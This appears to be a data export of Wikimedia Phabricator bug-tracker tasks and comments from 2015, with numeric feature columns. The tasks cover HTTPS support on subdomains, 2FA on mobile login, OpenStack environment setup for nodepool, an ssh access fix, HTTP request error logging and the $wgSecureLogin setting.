+|-
+| [http://servermon.wikimedia.org servermon.wikimedia.org] || YES
+|-
+| [http://people.wikimedia.org people.wikimedia.org] || YES
+|-
+| [http://ishmael.wikimedia.org ishmael.wikimedia.org] || YES
+|-
+| [http://racktables.wikimedia.org racktables.wikimedia.org] || YES
+|-
+| [http://rt.wikimedia.org rt.wikimedia.org] ||YES
+|-
+| [http://metrics.wikimedia.org metrics.wikimedia.org] || YES
+|-
+| [http://datasets.wikimedia.org datasets.wikimedia.org] || NO
+|-
+| [http://stats.wikimedia.org stats.wikimedia.org] || YES
+|-
+| [http://stat1001.wikimedia.org stat1001.wikimedia.org] || NO (broken, not in DNS)
+|-
+| [http://config-master.wikimedia.org config-master.wikimedia.org] || NO
+|-
+| [http://noc.wikimedia.org noc.wikimedia.org] || YES
+|-
+| [http://dbtree.wikimedia.org dbtree.wikimedia.org] || YES
+|-
+| [http://hue.wikimedia.org hue.wikimedia.org] || YES
+|-
+| [http://yarn.wikimedia.org yarn.wikimedia.org] || YES
+|-
+| [http://planet.wikimedia.org planet.wikimedia.org] || YES
+|-
+| [http://en.planet.wikimedia.org *.planet.wikimedia.org] || YES
+|-
+| [http://etherpad.wikimedia.org etherpad.wikimedia.org] || NO
+|}
+",,,1435249496,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uyostsqwp5mg7ko57qkc,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,1
+103771,MF Special:Login doesn't have a field for 2FA,This doesn't allow for logins to WT on mobile with TOTP codes.,Needs Triage,90.0,1435194938,1435697577.0,PHID-USER-zcsdm7lwcehnusyhh6xp,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-xhlvq5ortc7umakdby2q,task_description,resolved,True,c3,2,False,False,True,-1,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+485167,MF Special:Login doesn't have a field for 2FA,"@Jdlrobson: sorry for not responding here, but i'm in vacation and a bit busy :) But yeah, that will help, enabling this option for wikitech only sounds resonable, too.",,,1435784248,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+484545,MF Special:Login doesn't have a field for 2FA,"That patch got merged.
+If you enable $wgMFNoLoginOverride = true;  in your LocalSettings it should work as normal. If not please file a new more specific bug.
+Hope that helps!",,,1435697577,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+481978,MF Special:Login doesn't have a field for 2FA,"@florian won't https://gerrit.wikimedia.org/r/#/c/219754/ fix this?
+",,,1435264338,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0
+481974,MF Special:Login doesn't have a field for 2FA,I think the best way of resolving this would be to fix: {T74910},,,1435264176,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+481292,MF Special:Login doesn't have a field for 2FA,"The token input will soon no longer be on the login page anyway, but I am not sure how MobileFrontend renders extension special pages.",,,1435200114,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+103673,nodepool users should have OpenStack env variables set on login,"The OpenStack utilities installed on nodepool can be configured via env variable to pass the tenant, user, password etc. It would be rather convenient to have the env variable to be loaded in the nodepool user profile.
+
+At a minimum:
+```
+lang=bash
+OS_USERNAME=nodepoolmanager
+OS_PASSWORD=
+OS_TENANT_ID=contintcloud
+OS_AUTH_URL=http://labcontrol1001.wikimedia.org:35357/v2.0/
+```
+
+Will let us run `openstack server list` among others.",Needs Triage,90.0,1435146264,1438164123.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-yxjc673m44uonw7utyg3,task_description,resolved,True,c3,2,True,True,True,-2,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+498797,nodepool users should have OpenStack env variables set on login,"/var/lib/nodepool/.profile is populated by puppet 
+",,,1438164123,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+489875,nodepool users should have OpenStack env variables set on login,Pending puppet to run on labnodepool. Currently blocked by T105406,,,1436514327,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+489655,nodepool users should have OpenStack env variables set on login,"Change 220444 merged by Andrew Bogott:
+nodepool: provide openstack env variables to system user
+
+[[https://gerrit.wikimedia.org/r/220444]]",,,1436475412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+480688,nodepool users should have OpenStack env variables set on login,"Change 220444 had a related patch set uploaded (by Hashar):
+nodepool: provide openstack env variables to system user
+
+[[https://gerrit.wikimedia.org/r/220444]]
+",,,1435148268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+480679,nodepool users should have OpenStack env variables set on login,"We can probably use the puppet wmflibs function `shell_exports`:
+
+Invocation:
+  shell_exports({
+    apache_run_user => 'apache',
+    apache_pid_file => '/var/run/apache2/apache2.pid',
+  })
+
+Output:
+
+  export APACHE_RUN_USER=""apache""
+  export APACHE_PID_FILE=""/var/run/apache2/apache2.pid""
+
+",,,1435146869,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1
+103354,Can't login to catgraph instance,"When trying to ssh to sylvester I get the following:
+
+```
+$ ssh -A jkroll@sylvester.eqiad.wmflabs 
+
+If you are having access problems, please see:https://labsconsole.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+Permission denied (publickey).
+```
+
+The catgraph service which should be running there is not reachable either (connection refused).
+
+Special:NovaInstance shows the instance as ACTIVE. Tried rebooting it via the web interface, no change.
+
+I can ssh to other instances in the same project normally, and the services are running there as well.
+
+Could this be an NFS problem?",Needs Triage,90.0,1434985744,1434988559.0,PHID-USER-zzbdvschb2zxhrxixhcr,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-t5fuhkrhetszx5h74eys,task_description,resolved,True,c3,2,False,False,True,-2,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+479124,Can't login to catgraph instance,"I've removed role::labsnfs::client and webserver::apache and catgraph_hostmap from the puppet config of that instance in order to allow puppet to run properly.
+
+You'll need to restore those classes and rearrange your git branches on the puppet master to get puppet running.
+
+Puppet clearly hadn't run on this instance for many months -- it's a miracle that it's been working this long.  Remember, if puppet runs are failing on an instance, that instance may fall off the internet at any moment.
+
+Additionally, I sent an email several weeks ago that specifically described your use case with instructions about how to avoid this specific problem.  Please subscribe to labs-l and read the announcements there in order avoid future issues such as this one.",,,1434988559,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-t5fuhkrhetszx5h74eys,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+479109,Can't login to catgraph instance,"Thanks for the quick response, but I still can't ssh there - same output as before :/",,,1434986926,,PHID-USER-zzbdvschb2zxhrxixhcr,False,,,PHID-TASK-t5fuhkrhetszx5h74eys,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+479099,Can't login to catgraph instance,Logins should be fixed now.  Part of this issue was caused by a broken puppet run -- it's very important that you keep your instances with properly running puppet.,,,1434986298,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-t5fuhkrhetszx5h74eys,task_subcomment,,True,c3,2,True,,,-2,True,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+103043,MWHttpRequest should log errors,"With T102566 a bunch of wikis will have InstantCommons broken, and will probably try to find out from the error logs what's wrong. MWHttpRequest does not seem to do any error logging whatsoever, though.
+
+There are two cases that users will encounter due to T102566 and where we should provide a helpful error message:
+* MWHttpRequest refuses to follow a HTTP->HTTPS redirect
+* MWHttpRequest cannot verify the Wikimedia cert (note that while Commons has been reverted to HTTPS, upload.wikimedia.org has not, so this is happening right now)
+
+Note that this does not affect InstantCommons which does not use MWHttpRequest directly.",Needs Triage,90.0,1434678597,1440910324.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_description,resolved,True,c3,2,True,True,True,-2,True,1,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+525382,MWHttpRequest should log errors,"Change 237550 merged by jenkins-bot:
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/237550]]",,,1441992290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525381,MWHttpRequest should log errors,"Change 237539 merged by jenkins-bot:
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/237539]]",,,1441992287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525370,MWHttpRequest should log errors,"Change 237533 merged by jenkins-bot:
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/237533]]",,,1441991721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+524923,MWHttpRequest should log errors,"Change 237550 had a related patch set uploaded (by Gergő Tisza):
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/237550]]
+",,,1441932233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+524901,MWHttpRequest should log errors,"Change 237539 had a related patch set uploaded (by Gergő Tisza):
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/237539]]
+",,,1441929394,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+524869,MWHttpRequest should log errors,"Change 237533 had a related patch set uploaded (by Gergő Tisza):
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/237533]]
+",,,1441926851,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+498588,MWHttpRequest should log errors,"Change 223518 merged by jenkins-bot:
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/223518]]",,,1438122824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+491184,MWHttpRequest should log errors,">>! In T103043#1450233, @Tgr wrote:
+> @hashar `followRedirects` is somewhat problematic from a security point of view as there is no way to restrict redirection to e.g. same-domain in curl once you enable redirects.
+
+I filed T105765 for us to improve on this.",,,1436836842,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1
+491004,MWHttpRequest should log errors,@hashar `followRedirects` is somewhat problematic from a security point of view as there is no way to restrict redirection to e.g. same-domain in curl once you enable redirects.,,,1436812525,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+488488,MWHttpRequest should log errors,"Change 223518 had a related patch set uploaded (by Gergő Tisza):
+Log errors in Http::request()
+
+[[https://gerrit.wikimedia.org/r/223518]]
+",,,1436341544,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+491594,MWHttpRequest should log errors,"> MWHttpRequest refuses to follow a HTTP->HTTPS redirect
+
+Our Http class has `followRedirects` defaulting to false with the comment:
+
+> Note: this should only be used when the target URL is trusted, to avoid attacks on intranet services accessible by HTTP.
+
+And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.
+
+@demon follow up by filling {T105765}
+",,,1436950127,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+477860,MWHttpRequest should log errors,"> MWHttpRequest refuses to follow a HTTP->HTTPS redirect
+
+Our Http class has `followRedirects` defaulting to false with the comment:
+
+> Note: this should only be used when the target URL is trusted, to avoid attacks on intranet services accessible by HTTP.
+
+And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.
+
+
+",,,1434701729,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qgp7pgwdjkpxszpwls5a,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+103021,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Having $wgSecureLogin=true enables code that handles redirecting the user to https for sensitive pages (login page, etc), allows opting out of https by setting cookies insecure, and sets the forceHTTPS cookie so the application can redirect users who only have cookies set securely.
+
+Turning this to false on WMF wikis will remove the extra overhead.",Needs Triage,90.0,1434664668,1438275064.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_description,declined,True,c3,2,True,True,True,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+499582,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Let's not do this.
+
+We do need to clean up a few things (user preference, reduce the size of the forceHTTPS cookie) so the overhead is less.",,,1438275064,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+498955,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 227740 merged by BBlack:
+Revert ""No need for wgSecureLogin on our wikis, HTTPS is forced everywhere""
+
+[[https://gerrit.wikimedia.org/r/227740]]",,,1438186197,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+498952,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Given we had a related incident with a redirect regex bug recently, it would be better to leave this in place for now, so reverting the change.  We can revisit this when we get past all the other hurdles preventing a simple unconditional redirect/403 with no exceptions at the nginx layer ( T107236 ) if we want.",,,1438186035,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+498951,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 227740 had a related patch set uploaded (by BBlack):
+Revert ""No need for wgSecureLogin on our wikis, HTTPS is forced everywhere""
+
+[[https://gerrit.wikimedia.org/r/227740]]
+",,,1438185929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+498415,Switch $wgSecureLogin to false for WMF wikis where https is forced,"Change 219265 merged by BBlack:
+No need for wgSecureLogin on our wikis, HTTPS is forced everywhere
+
+[[https://gerrit.wikimedia.org/r/219265]]",,,1438109709,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+495646,Switch $wgSecureLogin to false for WMF wikis where https is forced,https://gerrit.wikimedia.org/r/#/c/219265/ still waiting for review...,,,1437660816,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2jx2vgud3gax4gnvq4yu,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
